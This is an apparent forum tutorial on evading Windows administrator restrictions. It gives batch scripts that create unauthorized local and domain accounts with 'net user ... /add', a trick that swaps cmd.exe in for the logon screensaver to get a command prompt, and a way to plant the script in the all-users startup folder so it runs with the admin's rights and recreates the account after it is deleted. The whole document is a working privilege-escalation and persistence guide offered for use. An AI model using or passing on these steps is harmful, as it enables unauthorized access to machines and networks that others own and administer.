Ok so your unable to Access Programs such as:
-Registry editor
-TaskManager
-Control Panel
-System Tray
-Other Unmentioned Admin tools

Well I am assuming that you can atleast do the following:
-Change Background
-Save a File
-Execute a File (simple ones like word processing and stuff)
-Login (doens\’t matter what privilages
-Go to start -> run -> cmd or anyother way access the Command prompt (optional)
-----------------------

1) Open Notepad and type in the Following:

Code:
@echo off
cd..
cd..
cd..
cd..
cd..
net user Username Password /add
exit
2) Save it as Tool.bat then execute it (don\’t be noobish and not change Username and Password which by the way are your DESIRED User and Pass).

Assuming that the last one worked, and you want to add a user that is accessible anywhere on the network, You MUST have a network domain, lets assume that \"368\" is the Domain name.
3) Same as before just open notepad and type:

Code:
@echo off
cd..
cd..
cd..
cd..
cd..
net user Username Password /add /domain
exit
4)Save it as Tool2.bat then execute it (don\’t be noobish and not change Username and Password which by the way are your DESIRED User and Pass).

As you can see, the only difference is that i added the \"/domain\" syntax.

Now assuming that the last two ways failed Due to Cmd still being blocked. lets try calling the command prompt through the Screensaver, yes screensaver.

5) Find the file called cmd.exe, and rename it to logon.scr, next go into C:\\Windows\\system32 and find the file called logon.scr, rename it to logon.scr.bak and out ur copy of logon.scr to that folder.
5a) Simply wait for the screensaver to come up, it will be the Command prompt
now just do these commands:

Code:
cd..
cd..
cd..
cd..
net user Username Password /add
exit5b) Same way u can add your admin account to the domain:

Code:
cd..
cd..
cd..
cd..
net user Username Password /add /domain
exit-----------------------------------
Ok next way,
6) simply save the bat file in the startup folder for all users, in:

Code:
C:\\Documents and settings\\all users\\ sumthing i can\’t remember the path, but this will make the .bat file run everytime the admin logs on
and the commands will run as if the Admin himself would input those commands.
Note: this is especially useful if ur account gets caught and deleted because it will get created next time the Admin logs on anyways.

hopefully some of you understand this, I do perfectly well... but then agian I am considered computer smart =P

Thanks
